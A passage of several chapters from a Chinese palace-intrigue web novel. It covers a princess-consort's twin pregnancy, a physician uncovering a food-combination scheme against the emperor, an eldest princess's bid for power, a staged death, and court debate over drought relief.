一大早,霍凝玉就与赵炳煜上了马车,看到后面还跟着两辆马车,霍凝玉愣了一下。
“你准备的那点礼物太单薄,我又加了一些。过年,皇伯父赏下的东临国送来的年礼,我放了一半进去。”
赵炳煜考虑得很周到,东临送来的好东西,肯定能入霍家的眼,因为他们家娶的可是东临的公主做儿媳妇。
“看我,考虑得不如你周到。”霍凝玉有点不好意思。
她每天被夫君缠着,都没多少时间管理王府。
都有些什么东西,她都还没理清。
“你已经很累了,这些小事,有管家和卫嬷嬷帮衬,不用你操心。”
这话让霍凝玉狠狠瞪了他一眼。
她为什么会累,还不是他索取无度。
说到这个,她突然身子一僵。
“怎么了?”赵炳煜发现她的异样。
“我是冬月二十八来的癸水,我们腊月初八成的亲,按理我腊月二十七左右会来癸水,可今日都正月初二了,怎么还没来?”霍凝玉越说眼睛睁得越大。
赵炳煜也不是毛头小子,一听就明白了。
“你是说......你是说我们可能有孩子了?”赵炳煜激动万分。
要真是如此,那就进门喜呢,太好了。
霍凝玉点头,她也是如此猜测的。
大嫂怀孕就是例子,她知道什么情况表示有了。
“青风,回府。”赵炳煜太激动了,马上就要回府,找太医上门给妻子诊脉。
“别急呀,这时候诊不出来的,需得过几日。先回娘家,让洪大夫给我看看也一样的。”
“对对对,青风,把车驾稳点,去霍府。”赵炳煜开心得如得到糖果的孩子。
两人紧紧相拥在一起。
“凝玉,谢谢你,娶了你,我就有了家,咱们添几个孩子,我们又多了几个亲人,王府就热闹了。你放心,我会多多赚钱养家。”赵炳煜突然有了为人父的感觉。
他一定好好疼爱自己的孩子,绝不让孩子体会他的痛苦。
“嗯。”
虽然还没有确定,霍凝玉也心潮澎湃。
她就要有孩子了,她再也不会孤单。
那五年魂飘的孤单日子,一去不复返。
到了霍府,霍鸣羡两兄弟早就在大门外等着了。
“大哥,二弟。”霍凝玉笑靥如花,就要下马车。
“慢点。”赵炳煜立刻拦住,然后拦腰把人从马车上抱下来。
“大姐,你怎么了?”霍鸣昶奇怪。
大姐甩鞭子可带劲儿了,下个马车而已,都是大大咧咧,一蹦跳下来。
不会嫁了人就变得娇气了吧?
“先进府。”赵炳煜直接把人抱进府。
让霍凝玉羞得直拍他,也没能阻止。
进了垂花门,赵炳煜才把人放下。
正好看到萧婉仪站在廊下,翘首以盼。
“妹妹这是怎么了?”她也好奇。
“大嫂,没什么。”霍凝玉上前,看到大嫂的肚子已经明显显怀了,忍不住伸手摸了摸。
“大嫂,你带来的洪大夫,快请来给凝玉把把脉。”赵炳煜一刻也等不了。
萧婉仪看两人满面红光,一脸喜色,怔了怔,脑子一转就知道什么意思。
立刻让丫鬟去请人。
霍鹏程和容华芝听到说话,从正堂走出来,就看到离去的丫鬟。
“女儿见过父亲,母亲。”
“小婿拜见岳父,岳母。”
嫁了人感觉就是不一样了。
初二回门叫回娘家,而不是回家。
“快进来坐下。”容华芝牵住女儿的手。
看到女儿脸上的幸福甜笑,必是与女婿新婚甜蜜,感情深厚,容华芝的心总算放下了。
女儿彻底摆脱了前世的命运,真好。
这时洪大夫来了。
“怎么了?”容华芝脸色一变。
“岳母,凝玉说,她月事迟了四天没来。”赵炳煜笑着解释。
“真的?”容华芝听到这个消息,高兴得合不拢嘴。
这才
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成亲多少时间,要是真的,女儿真是有福之人。
洪大夫把了脉,除了把出霍凝玉有些累,其它没把出来。
“怎么样?”容华芝迫不及待。
“夫人,时日实在太浅。还是再过些时日再看比较好。不过在下得提醒王爷一句,不管吃什么东西都得细嚼慢咽,好好品味,不能吃得太急。”洪大夫说得隐晦。
但赵炳煜一听就懂,脸有些挂不住,红到了耳根。
霍凝玉也羞得想找个地缝钻进去。
霍鹏程听得火起,这小子,太不懂疼惜人了,哪有为了满足自己而把妻子折腾得连大夫都看不过眼。
“凝玉,在家住几天。炳煜今日就一个人回去吧,过几天再来接。”霍鹏程沉声道。
“岳父,我错了,我以后一定克制。好好照顾凝玉。”赵炳煜心里一慌,立刻认错。
这怎么可以?
他一天也离不开,他们才刚刚新婚。
“哼,现在凝玉可能有孕,如果你敢乱来,小心孩子不保。”霍鹏程不过是吓唬一下。
“是是是,小婿一定谨记。”赵炳煜立刻保证。
霍凝玉在娘家开开心心玩到下午申时末才告辞。
离去时向萧婉仪要了洪大夫,等确诊是喜脉后再回来。
只过了五日,洪大夫就把出结果,果然是喜脉,而且还是双胎。
把赵炳煜高兴得想告诉所有人。
当他把这个消息告诉乾德帝时,乾德帝不相信。
哪有这么好的运气,新婚夜就让新娘怀孕,世间少有,而且还是双胎。
乾德帝亲自带着吴太医到永安王府来,他要准确的消息。
当吴太医给出同样的结论时,乾德帝才相信。
“哈哈,你小子,不成亲则罢,一成亲就让媳妇一下怀俩。不错不错,我皇家到现在还没出过怀双胎的媳妇。昭勇郡主是我皇家的福星。”
乾德帝一高兴,留在王府用饭。
饭后,赵炳煜把人带到书房,让几个暗卫守好门户。
洪大夫早已在书房等着。
“皇伯父,这是婉仪表妹从东临带来的洪大夫,医术了得。让他给您请个平安脉吧。”赵炳煜眼神肃穆。
乾德帝见他严肃的脸色,怔了怔。
“你发现什么了?”乾德帝敏锐察觉到赵炳煜意有所指。
第203章 人参与萝卜
“先让大夫看看。”没确定的事情,赵炳煜不敢妄加猜测。
洪大夫认认真真给乾德帝把脉,诊了左手诊右手。
“洪大夫,怎么样?”赵炳煜有些急切。
“皇上,您最近两个月是不是时有服用人参炖的鸡汤?”洪大夫问道。
“是。”乾德帝年纪大了,太医院院正建议他多补补元气,有益身体和寿元。
最近几个月,他确实每隔两天就会喝一回人参汤。刚开始,他确实感觉精神不错,最近好像又差了,甚至还不如以往。
“冬日,萝卜盛行,您是不是又多食了很多萝卜做的菜肴?”洪大夫又问。
“确实如此,冬日的菜也就那几样,吃来吃去,御膳房也只能变换做法。”乾德帝如实说道。
“这就对了。皇上,人参与萝卜同食,大伤元气,在下建议先停食人参汤,多食萝卜即可。
俗话说,冬吃萝卜,夏吃姜,不用大夫开药方。
萝卜具有清热化痰,消积除胀的作用,非常适合冬日少运动的时节食用。
人参虽是好物,但无病无需食用。”洪大夫的意思很清楚。
人参不必多食,倒是贱物萝卜更利于养生。
洪大夫的话让赵炳煜陷入沉思。
难道没有人在皇伯父身上动手脚,而是吃食上配伍不当造成的?
但他总觉得没那么简单。
乾德帝一听人参与萝卜同食大伤元气,被惊了一下。
他也同样陷入深思。
太医院院正是有意还是无意?
“洪大夫,皇伯父需用药吗?”赵炳煜回过神,问道。
“只需饮食均衡即可,萝卜可以多食,人参还是不要再用为好,除非必要。
幸好发现得及时,如果长此以往,吃完一个冬天,皇上的身体也就垮了,于寿元伤害很大。
以皇上现在的身体,最多一年,神仙难救。”洪大夫把最严重的后果摆出。
两人更是震惊。
“洪大夫,多谢,你先出去吧。”赵炳煜让人带他下去安置。
“炳煜,你是如何发现朕的身体有恙的?”乾德帝很欣慰。
这个侄儿没有白养,对他是真孝顺。
连自己都没注意到的事,侄儿却细致入微地观察到了。
“皇伯父,除夕宫宴上,您居然在那么热闹的情况下打起了瞌睡。凝玉看到了,她说以前您从不会如此,是不是身体有恙。
我查了一下,也没发现您请太医看诊。
但我没得到确切情况,总是不放心。
凝玉与我都怀疑,是不是有人对您不利,且做得隐密。所以我们才商量找个借口把您请到王府,让洪大夫看看。
洪大夫是表妹的人,不在太医院供职,让他看诊,最是安全。”赵炳煜解释道。
“不错,凝玉又救了朕一次。此事朕自会查清楚。蒋院正是不是已经是哪个不孝子的爪牙了。”乾德帝心里已经有数。
大儿子的野心,他早就清楚,可他没犯大错的情况下,他只能压制。
另三个儿子,他都安排了要职,有没有生出野心,暂时未知。
但身为皇子,没几人愿做刀下鱼肉,就看谁笑到最后。
可他又不得不如此安排几个儿子。
如果让他们离京去封地,更是一大隐患。
如果当年太子没有替他挡箭,太子身体健康该有多好,可世上没有如果。
赵凌哲的聪慧懂事让他心里好受了些。
“好好照顾你的王妃。朕看林宇扮赵壑的身份,扮得挺好,就让他先扮着。
如果有重大事情需你出面,你再戴上面具。”乾德帝很体谅他们夫妻刚刚新婚。
“多谢皇伯父。”
回宫后,乾德帝就让林德全通知下去,他今日开始不喝人参汤了。
这个消息虽小,但也很快传出宫。
当大公主赵明月得知后,眼神陡然阴鸷。
“怎么回事?”
可是没人能回答她。
人参与萝卜搭配会损元气,还是以前杨氏告诉她的。
这样的方法,**于无形,多妙的方法。
难道被父皇识穿了?
连太医院的院正都不知道的事,父皇是怎么发现的?还是说只是巧合?
这么好的计谋居然废了,真是可惜。
赵明月看着两个多月的儿子,心里起伏不定
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。
她是真正的嫡支嫡脉,却过着见不得光的日子。
她怎么甘心就这样过一辈子?
她需要挣脱这个牢笼,她要与秦郎长相厮守,父皇就是她最大的拦路石。
赵明月抱起摇篮里的儿子,眼神温柔。
“渊儿,娘定会把这世上最好的东西给你。”赵明月思量起来,“苏嬷嬷,去把江宁给本宫找来。”
“是,老奴这就去。”
等到苏嬷嬷派去的高义到忠义伯府时,正好看到谢正阳正陪着一个粉装女子出门。
“高护卫,可是找我的?”谢正阳笑着一拱手。
大公主身边的人,谢正阳不敢得罪。
“在下受公主令,来请谢少夫人过府。”高义说明来意。
“夫君,姐姐不是初二才回过公主府吗?怎么又来找?”谢正阳身边的女子娇嗔道。
自知道江宁不能再生后,夏宜宣就开始张罗着给谢正阳纳妾,而且还是她娘家庶侄女,夏娇妍。
正好选在霍凝玉嫁人的那一天抬进府。
谢正阳虽对江宁还是疼爱有加,可是他不能没有子嗣,接受了父母的安排,纳了表妹为贵妾。
“少插嘴。”谢正阳训斥。
“我这就给你去请。”谢正阳丢下夏娇妍,匆匆进了他们夫妻的院子。
江宁面色憔悴,自小产了两次后,她的身子大不如前,冬天天冷,她一不小心就染上了风寒。
夫君纳妾,在她心里狠狠插了一刀,可她无能为力。
只能忍下这口气,等那**生下儿子再说。
去母留子,早就在她心里生下根。她有大公主和辰王这两个靠山,谢家不敢把她怎么样。
“宁儿,大公主有请。”谢正阳高兴的声音在门口响起。
江宁转头看向谢正阳,从他的眼里,她看到夫君对她的情义。
只要夫君的心还在她身上,就是她最大的底气。
“真的?你可以陪我去吗?”江宁趁机撒娇。
“姐姐,大公主派了人来接你,夫君已经答应陪我去买做春衫的布料,你还是自己去吧。”
夏娇妍娇娇俏俏的模样,让人心生怜爱。
第204章 江宁被逼服毒
可江宁是谁,她能勾得谢正阳连霍府嫡女都不要,哪里会怕一个小妾。
“放肆,你一个妾室,谁给你的胆子在我面前嚣张的?”江宁摆起嫡妻的威严。
“你......哼,一个不下蛋的母鸡,逞什么威风,我告诉姑母去。”夏娇妍被训得一脸涨红。
“我先送宁儿去大公主府,妍儿也一起,等把宁儿安全送到大公主府,我再陪你去逛街。”谢正阳有些头疼。
表妹仗着母亲的宠爱,有些看不清自己的身份。
宁儿才是正妻。
江宁眉眼一弯,只小小的试探就知道自己在夫君心里的地位。
来到大公主府,赵明月正在哄孩子睡午觉。
她对这来之不易的儿子宠得如眼珠一般,很多事情她都喜欢亲力亲为。
好不容易等到孩子睡着,她才出了内室。
“见过义母。”江宁恭敬一礼。
“随本宫到书房来。”赵明月收起刚才面对儿子时的慈爱面容。
来到书房。
“你字练得怎么样了?”赵明月不兜弯子。
“义母?”江宁大吃一惊,义母也知道?
一直都是辰王在安排她,义母从没要求她做过什么。
“你以为你藏得很好?别忘了你娘在本宫府上住了几个月。本宫凭什么护你?你是聪明人,当知道自己有什么价值,本宫才会高看你一眼。”赵明月冷声道。
江宁身子僵住。
是啊,她要是没有价值,大公主怎么可能直到现在还护着她,让她在谢家的地位不受影响,哪怕她不能生子,也稳坐正妻之位。
单靠夫君的宠爱,走不远。
“请义母示下。”江宁很快找准自己的位置。
“本宫让你做一件绝密之事,不得让任何人知道,你可做得到?”赵明月眼中含有杀意。
如果江宁敢有半点不从,她就会要了她的命。
江宁被大公主看得头皮发麻。
这才是真正的上位者。
忠义伯,哪怕是伯爷,在这些真正的贵人面前,活得也如狗,始终夹着尾巴。
“但凭义母吩咐。”江宁做出了选择。
“这颗药,你吃下,每月本宫自会给你解药,直到本宫所想之事完成,自会彻底给你解了药性。”赵明月从怀里拿出一个小药瓶递到江宁面前。
江宁怔住,义母要做什么?竟要控制她的性命。
此时,她心里天人交战。如果她不从,今日就连大公主府都走不出去。
如果从了大公主,从今日开始,她的命就捏在大公主手里。
只需一瞬,她就知道了自己的处境。
她伸出颤抖的手接过瓷瓶。
打开,一颗小小的黑色药丸静静躺在瓶底。
大公主看着她的动作:“你放心,只要你老老实实为本宫办事,以后你自会有好日子。本宫并不想要你的命,只需要你替本宫办事。”
江宁心如明镜,她说得没错,的确不要她的命,却用命来威胁她做事。
她没得选。
“义母,女儿可否求您一件事?”她是没得选,但也可以借此谈条件。
“你说。”
“女儿想霍家倒台。最好能获罪。”江宁知道霍家的地位已经比她离开时更上一层楼,不,是上了几层楼。
有永安王这样的女婿,有东临六公主这样的儿媳,想要他们的命已经不可能了。只能求其次,让他们失去荣华富贵。
赵明月眼睛一眯,露出危险的光。
“你当知道,霍鸣羡是和亲使者,你想毁了两国的邦交?”
“义母,霍鸣羡本是慧兰县主看上的男人,而东临六公主却抢了她的男人,女儿想县主肯定咽不下这口气。
离了霍家,六公主可以再嫁,但霍家既已不为义母所用,留他们何用?”江宁淡漠的表情,显露出她对霍家的恨意。
“此事本宫自会与辰王商量,你就不用操心了。”赵明月没有给准确的答复,但她知道辰王也在想办法对付霍家。
因为辰王早就看上了霍尚书的位置,不然也不会想尽办法拉拢霍家。
拉拢不成,只能想办法安排自己人接手户部尚书一职。
江宁不再犹豫,倒出药丸,丢进嘴里,端起桌上的水,一口咽下。
“义母,请吩咐。”
“随本宫进秘室。”
当江宁再次走出大公主府时,谢正阳已经在门外等着她了。
她的脸色更加苍白,整个人如抽干了所有精气神。
“宁儿,你怎么了?”谢正阳担忧地上前扶住她。
“没事,咱们回府。”
“大公主找你何事?”谢正阳坐到她身边,轻轻拥着她。
“就是问问我有没有学到点我娘的本事,小世子有些不舒服,吃了几日药都不见效,义母很急。”<
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br>江宁选择了欺骗。
这事绝不能让夫君知道。
今日她知道的太多,如果一旦泄露出半点,整个谢府,包括她都得死。
“哎哟,姐姐,你怎么像被霜打过的茄子?是不是你做了什么事,让大公主给教训了?”夏娇妍有点幸灾乐祸。
“你给我闭嘴。”谢正阳看不过去,明眼人都看得出宁儿身子不舒服,娇妍还说风凉话。
夏娇妍撇了撇嘴。
惯会装柔弱,勾着夫君的心。
她才进门两个月,就吃了几次亏,心里暗恨。
可是她还没在伯府站稳脚,只能受着。
正月十五花灯节一过,靖王府突然传出噩耗,靖王得了急病,半夜里在无人知晓的情况下去了。
整个靖王府突然乱作一团。
赵炳煜带着霍凝玉匆匆赶回靖王府主持大局。
自从靖王和陈嫣然说了,他要暴毙离京,短短时间就把几个庶子都给分了出去,同时还给后面两个都娶了妻。
各人所得财物加在一起不及王府一成。
几人想闹,却被靖王一顿板子,谁也不敢再闹。
一报出靖王暴毙,几个庶子相互推诿,都不想承头办理靖王的丧事。
陈嫣然看到几个儿子竟如此不孝,气得每人甩了一巴掌。
“姨娘,父王把财产都给了大哥,凭什么还要我们拿钱出来给父王办丧事?”
陈嫣然却无话可说,她不能说出他们的父王不是真死。
此事是皇上安排的,她不敢造次。
难过伤心的陈嫣然只得派人去请赵炳煜。
霍凝玉在卫嬷嬷的帮助下,快速稳定内院。
丫鬟仆妇有了主心骨,按部就班做起事来。
以前靖王府都是陈嫣然在打理内院,但因她连侧妃都不是的身份,很多事她都做不了主。
大部分事情都是管家在打理,可是一个月前,管家被主子放出了府,新上任的管家没有权威,震慑不住王府的奴仆。
赵炳煜对靖王的那点怨恨,自从知道他想暴毙离京去过普通的日子后,烟消云散。
外院也在赵炳煜的雷厉风行下,开始有条不紊。
灵堂很快搭起来,棺椁就位。
到了晚上,三个庶子和一个庶女都老老实实跪在灵前。
赵炳煜也来向火盆里扔了几张纸,当那几张纸燃完,几个庶子女全都晕了过去。
第205章 大公主可能篡位?
赵炳煜起身,走到棺椁前,打开,把一颗药丸塞进靖王的嘴里,并帮他顺进胃里。
两刻钟后,靖王慢慢睁开了眼睛。
“哈,我就知道睁开眼看到的一定是你。你皇伯父是不是把解药交到你手里了?”靖王看到是大儿子,心里一喜。
皇兄一直想让他们父子冰释前嫌,解药肯定会交给炳煜。
如果炳煜想他真死,直接把解药丢了便是。
而现在他醒了,说明炳煜已经原谅他了。
“你走吧,后门已经给你安排了马车。”赵炳煜一提,就把人从棺椁里提了出来。
“哎哟,你轻点。”靖王可不会多少武功。
当他看到自己的几个庶子女都晕在地上,心里有些不是滋味。
这几个孩子都被他们的亲娘给教得不成器,以为是靖王府的公子小姐就能过荣华富贵的日子,不思进取。
当时他在分给他们家产时,一个个都哭着闹着不肯离开王府,还想继续留在王府享荣华。
不孝啊。
“你的这几个弟弟妹妹,虽不成器,但他们毕竟是我亲生的骨肉,你不要欺负他们,任他们自己生活吧。如果他们真遇到困难,希望你看在血脉相连的份上,照顾一二。”靖王带着恳求的语气说道。
“你走吧,以后都不要回京。”赵炳煜让两个暗卫架着他离去,没理他的恳求。
又让青雨拿了些靖王的衣物把棺椁塞得满满的,重量上与一个人体重差不了多少。
几个庶子女次日清晨才醒来,头有些犯晕。
“我怎么就睡着了呢?”二公子有些迷糊。
“我也睡着了。”三公子也奇怪。
“不对啊,天这么冷,我们怎么可能睡着?”四公子发现不对劲。
“快,我们快去找姨娘。”唯一的大小姐想到一种可能。
几人立刻站起来,就要出灵堂。
只是刚到门口就看到赵炳煜冷漠地站在门外。
“你们的姨娘已经被本王卖了。”
“什么?你凭什么卖了我们的姨娘?”二公子气得大叫。
“凭本王是靖王府嫡子。你们还有你们的姨娘,踩着我母妃的尸骨享了这么多年的荣华富贵,该知足了。
如果想尽孝,就进去给本王老老实实跪满三日,如果不想尽孝,现在就给本王滚出王府,以后不许再踏入半步。”
赵炳煜眼含冰霜,每个字都说得铿锵有力,又威严无比。
几人都被吓得没一人敢说要去找姨娘。老老实实进去跪着。
三日后,出殡,葬入皇陵。
从此世上无靖王。
赵炳煜让人把靖王府好好收拾了一番,换了大门上的匾额:永安王府。
这个宅子比先前住的那个大了不少。
他想儿女成群,就得要个大的宅子。
这些日子,洪大夫除了照看萧婉仪,隔三岔五就往永安王府跑。
他的医术得到赵炳煜的认可,连太医都不相信了。
过年初八那日,乾德帝来过一趟永安王府回宫后,不再喝人参汤,身体又慢慢恢复如初。
太医院院正蒋士贤被乾德帝查了个底朝天,乾德帝居然没发现问题。
蒋士贤很老实交代,说是大公主在他面前提起此事。
“本宫怎么觉得父皇的身体大不如去年了,是不是被之前西凉细作刺杀的事给气到了?蒋院正,你有没有办法让父皇的元气恢复如初?”
听了大公主这话,蒋士贤就去找皇上说起这事,当场就征得皇上同意,定下每几日喝一回人参汤补元气的治疗方案。
这事确实是得到乾德帝点头的。
大公主是出于关心他的身体,并没有错。
再问蒋士贤知不知道同时吃萝卜对身体有没有害,他却说从没听说过。
只有洪大夫说出两种食物同时食用相克。
由此也不能定蒋士贤的罪。每个医者所学不同,医术也不同。
这事只能不了了之。
只能归于冬天吃萝卜的机率多,正好相冲。
当赵炳煜把此事的来由说与霍凝玉听时,霍凝玉却不这么看。
“夫君,我总有一种预感,大公主就是故意的。
江宁的母亲杨氏医术了得,我估计她在死前肯定和大公主说过很多医理。
所以大公主才有此举。”
“你是想说,大公主想要皇伯父的命?”赵炳煜无论如何也不会往这个方向想。
大公主想替辰王早些扫清障碍
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吗?
就算两人达成了合作,大公主助辰王上位,也不会傻得自己冲在最前面。
她一个嫡公主,不管如何都有富贵日子过。
“夫君,前世,江宁后来顺利嫁入谢家,杨氏就默默躲在江宁身后,她只要女儿嫁得好,再把霍家搞倒,她就心满意足。
所以大公主根本没遇到过杨氏,也就没有医好身子,更没有儿子。
而这一世大公主有了儿子,又加上皇伯父对她婚事的阻碍,她或许从一开始就对皇伯父怀恨在心,从而想要他死,而她如此做的目的,很有可能想取而代之。”霍凝玉把人性往最大的野心上想。
“你是说大公主可能篡位?”赵炳煜不可置信。
她想牝鸡司晨?
“夫君,万事皆有可能。大公主才是皇室真正的嫡支血脉。太子不过是继后的儿子。
而且皇伯父为了平衡后宫,特意挑了娘家不显的吕嫔为皇后,大公主根本看不起太子。
在她眼里,太子身份甚至比辰王还不如。
所以凌哲世子更入不了她的眼。这也是她没有向太子和太孙下手,反而选择对皇伯父下手的原因。
因为她太骄傲。”
霍凝玉分析得入木三分。
她的话让赵炳煜神情严肃,认真思考起来。
须臾,赵炳煜就把霍凝玉的话在心里仔细思量了一番。
“你说得很有道理。如果大公主起了那等心思,那么秦家就是她最大的后盾。”赵炳煜很快理清。
“没错。辰王费尽心思把秦将军弄回来,以此向大公主施恩。如果我们猜测没错,那他真是搬了好大一个石头来砸自己的脚。”霍凝玉想到辰王竭力拉拢大公主的目的,心里冷笑。
要真是如此,不知辰王知道的那一刻会是什么表情,她很期待。
“不过这事不能告诉皇伯父,毕竟那是他的亲生女儿,他又对她有愧。我们在没有任何证据的情况下说这话,皇伯父可能听不进去。”
“嗯,这也只是我的猜测,给你提个醒,以后你得在这方面多注意,别只关注几个皇子。”
“我会安排。”赵炳煜在妻子额上亲了亲。
这么警觉的妻子,让他叹服。
第206章 霍舍人的风采
时间很快进入四月。
霍凝玉的孕期已经快五个月,肚子已明显显怀。
十五早朝,三封相同内容的奏折在早朝上宣读。
北地三城从二月初开始,整整两个月没下过一滴雨,正是春耕下种之际。
天不下雨,种下去的庄稼全部因缺水不发芽。
“北地三城接北魏,发生大旱灾,庄稼将颗粒无收,百姓将流离失所,北魏很有可能趁我南楚大难之际兴兵来犯,形势严峻。各位爱卿可有良策?”乾德帝眼神锐利扫过下面的文武百官。
众朝臣都面露苦涩。
消息灵通的人早就知道。
北地的三个城正是抵挡北魏的重要屏障,如果发生大灾,百姓为了活命,就会大量向南逃难,京城就成了首选。
大旱,意味着没水,军队每日的消耗更是庞大,同样缺水,军队也会失去战斗力,要是这个时候北魏来犯,那真是雪上加霜。
“三个州府,六十多万人啊。这可怎么办?”有人被这个消息给震得心惊肉跳。
“哎,已经好些年没有发生过这么大的旱灾了,难道上天知道我南楚刚找到了前朝留下的财宝,这就要收回去吗?”
“水满则溢啊。”
”这可跟那没关系,天灾哪年没有?不过是大小的问题。还是快些想想办法吧。”
“军防最为重要,必须挡住北魏来犯。”
各种窃窃私语声在金銮殿响起,众臣个个都眉头深锁。
这是一场硬仗。
“臣愿请旨赈灾。”中书舍人霍鸣羡出列跪地请旨。
年前吏部对各级官员政绩考核后,乾德帝亲自指定状元郎做中书舍人,正五品天子近臣。
众臣的窃窃私语因霍鸣羡的出列,骤然停止。
所有目光都聚焦在他身上。
但霍鸣羡并无半点心怯,反而神色沉稳,目光坚定,显然对此严峻局势已有过深思。
乾德帝身体微微前倾,带着审视与期待:“哦?霍爱卿有何良策?”
霍鸣羡从地上起身,深吸一口气,清晰而稳重地侃侃而谈。
“陛下,北地三城之危,在于‘天灾’与‘人祸’并行。臣之策,核心在于‘固本、安民、慑敌’六个字,力求将灾情影响降至最低,保全我南楚元气。”
“详细道来。”乾德帝听得这句,面露满意之色,示意他继续。
“首要之事,在于‘固本’,即解决水源。北地两月无雨,地上水源必然枯竭,然地下水或尚有余存。
臣请旨,即刻选派精通水利之人,火速奔赴三城,组织并督导当地百姓及驻军,大规模挖掘深井,寻找地下水源。此乃缓解春耕及人畜饮水最直接,最紧迫之法。”
他略微停顿,让众人消化此策,接着又道。
“其次,在于‘安民’。即便找到水源,亦恐不足支撑整个旱季。
需同时命令各地官府,组织民力,利用一切可利用的坑塘,洼地,修建临时储水设施,蓄积雨水……或未来可能找到的有限水源,做到细水长流。
更为关键是稳定民心,避免大规模流徙。”
他提高了声调,又继续。
“一旦六十万百姓因恐慌而南逃,不仅三城顿成空城,防线自溃,流民涌入内地,更会引发全国性的动荡与混乱。
因此,赈灾之初,便需明确公告,朝廷绝不会放弃北地,将尽全力保障当地民生。
同时,立即从全国各丰裕州府调拨粮食,驰援北地,设立官仓,稳定粮价,甚至直接开设粥棚,确保百姓能生存下去。
若国内存粮仍有不足,臣建议,由户部紧急筹措银两,向与我南楚交好的东临国购买粮食,务必让百姓看到生机,愿意留在故土。”
这番关于安民的论述,让不少老成持重的大臣微微颔首,流民问题确实是天灾后最棘手的问题之一。
“最后,便是‘慑敌’。”霍鸣羡话锋一转,指向了潜在的军事威胁。
“北魏虎视眈眈,我军绝不能因旱灾而自乱阵脚。军队用水量巨大,若固守原驻地,恐与民争水,亦可能因缺水而丧失战力。
臣建议,令北地驻军主力,提前勘察仍有水流的河流区域,进行临时战
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略迁移,靠近可靠水源扎营,既能保证军队自身用水,亦可依托新水源构建防线。
同时,需加派精锐斥候,严密监控北魏边境一切动向,再收集北魏皇城的消息,做到敌未动,我先知。
若探查到北魏确有趁火**,调兵遣将的明确迹象,臣以为,我军不应坐等敌人来攻。
可先发制人,以迅雷不及掩耳之势,主动出击,攻占北魏边境一两处战略要地或物资囤积点。
此举一可夺取敌方水源,粮草以补充自身。
二可打乱敌军部署,将战火引向敌境,保护我受灾三城不受兵侵之祸。
三可向天下展示我南楚即便遇灾,亦有余力反击之力,彻底震慑北魏,使其不敢轻举妄动。”
霍鸣羡的分析一出,满殿皆惊。
主动出击的想法,在受灾的背景下,显得格外大胆而强势。但细细思之,却又符合兵法中“致人而不致于人”的精髓,若操作得当,或真能化被动为主动。
乾德帝听完,眼中锐光闪动,暗自点头赞许。
“众位爱卿,霍舍人之策如何?”
“陛下,霍舍人之策,思虑周全,环环相扣,既顾及民生,又不忘武备,老臣认为可行。”温丞相第一个附议。
“臣附议。尤其先发制人之策,若能成功,可保北地无虞。”曹达紧随其后。
“组织打井,储水,调粮,皆是稳妥之法。稳定民心,更是重中之重。”又有人附议。
乾德帝当即决定。
“就依霍爱卿所奏。朕命你为钦差大臣,全权负责北地三城赈灾事宜,统筹打井,安民,调粮诸事,赐你便宜行事之权。户部,工部需全力配合。”
“臣领旨,定不负皇上重托。”霍鸣羡重重叩首领命。
“另,北地军务,按霍爱卿所说方略,由兵部即刻拟定详细章程奏报。加强对北魏探查,若有异动,准其先发制人。”
“臣等遵旨。”
辰王站在前排,一直不曾出声。而他看霍鸣羡的眼神却意味不明。
他微不察地向后面的谢勋做了个手势。
第207章 鸣羡,真的好疼
“皇上,臣愿随霍舍人前往赈灾,带兵护其周全,并听从调遣。赈灾需用兵士跑腿,震慑灾民,臣手里人虽不多,但配合霍舍人赈灾足够。”谢勋出列跪于殿前。
华云山刺杀一事,谢勋竭力护在乾德帝身侧,守住了一方,乾德帝对他的看法有所改观。
此次他又请旨,看来知道上进了。
但他们两家可是有矛盾的,他能认真配合?
“你确定你能配合好霍舍人?”乾德帝眼神锐利。
“臣知皇上何意。皇上请放心,臣与霍家不过因儿女亲事有了点小嫌隙,但那都是孩子们闹了点不愉快,我们大人之间并无不快。
且这是国事,与私人恩怨无关。臣已四十有余,还没有建树,臣就想尽力为皇上分忧,也为百姓做些实事。不辱没我谢家先祖威名。”谢勋说得诚恳,看不出半点私心。
“父皇,儿臣以为忠义伯赤胆忠心,可以给他这个机会。
赈灾不比战场,他完全能胜任。不过是些物资押送和接应。地方官员有时也会阳奉阴违,最好有武将跟随,于霍舍人更有益处。”辰王出列替谢勋说话。
“臣附议。”秦将军也出列附议。
又有几个官员出列附议。一看就知都是辰王一派的官员。
“既然谢伯爷有建功立业之心,皇上不妨给个机会。
但丑话要说在前头,如若在赈灾过程中,你不能全力配合霍舍人,导致百姓怨声载道,那你就要小心你的脑袋了。”
最后,赵炳煜也出列发表意见。
他一站出来,一些老臣便没什么可顾虑的,也纷纷附议。
乾德帝见赵炳煜也赞成,不知他葫芦里装的什么药,但他一向信任这个侄儿,想来必有安排。
赈灾不是派几个文官去就行,必有武将随行才能令行禁止。
有时难民**,也需武力解决。
“既然如此,谢勋听旨。点兵一千,护送钦差和赈灾银粮前往,务必配合好赈灾事宜。”
“臣领旨。”
朝会散去,各部开始准备。
霍凝玉得知消息,果然如他们想的那样,心里既紧张又兴奋。
鱼儿当真上钩了。
谢勋做了副使,又是押送钱粮的重要差事,正好给了他们机会。
“珍珠,准备一下,我们回霍府。”霍凝玉吩咐。
大嫂这几日就要生了,她得回娘家看看。再与大哥和父亲商议商议此次的计划。
希望大哥在出发前能看到孩子生下来。
不然他办差都不安心。
而就在这时,卫嬷嬷匆匆进来。
“老奴见过王妃。外院杜管家传话进来,说是亲家少夫人发动了。”
“什么?不是还有几天吗?”霍凝玉一惊。
“王妃,提前半个月都是正常的,老奴听说,男孩的腿快,十有**,亲家少夫人怀的是男孩。”卫嬷嬷很会说好听话。
“快,我们现在就出发。”霍凝玉一刻也等不了。
“王妃,你慢些,别忘了,你也怀着身孕,而且还是双胎。”
看到霍凝玉着急忙慌的,卫嬷嬷赶紧把人扶住。
霍凝玉刚才从椅子上站起,动作也太麻利了,吓得卫嬷嬷脑门见汗。
“呃,嬷嬷提醒的是。”霍凝玉不好意思。
霍凝玉回到娘家,却看到大嫂在廊上散步。
这什么情况?不是说发动了吗?
她正要问,就看到萧婉仪突然停下脚步,脸跟着皱成包子。
“大嫂,怎么样?”霍凝玉快步上前,关心问道。
“妹妹怎么来得这么快?”那股疼意过去,萧婉仪眉目又疏展开,笑道。
“我本就打算今日回府看看你,没想到就听外院管事传来消息,大嫂已经发动了。”
“没事,刚开始,我还能坚持走动走动。洪大夫说,女子生产前,只要还能坚持就多走走,于生产更有利,这事你也记下。”萧婉仪趁机传授经验。
“记下了。”
没一会儿,霍鸣羡放下公事,也赶了回来。
“夫人。”那紧张的样子,还有急促的喘息,就知他回来得有多急。
“哎哟!”萧婉仪用一声低叫回复他。
吓得霍鸣羡手足无措。
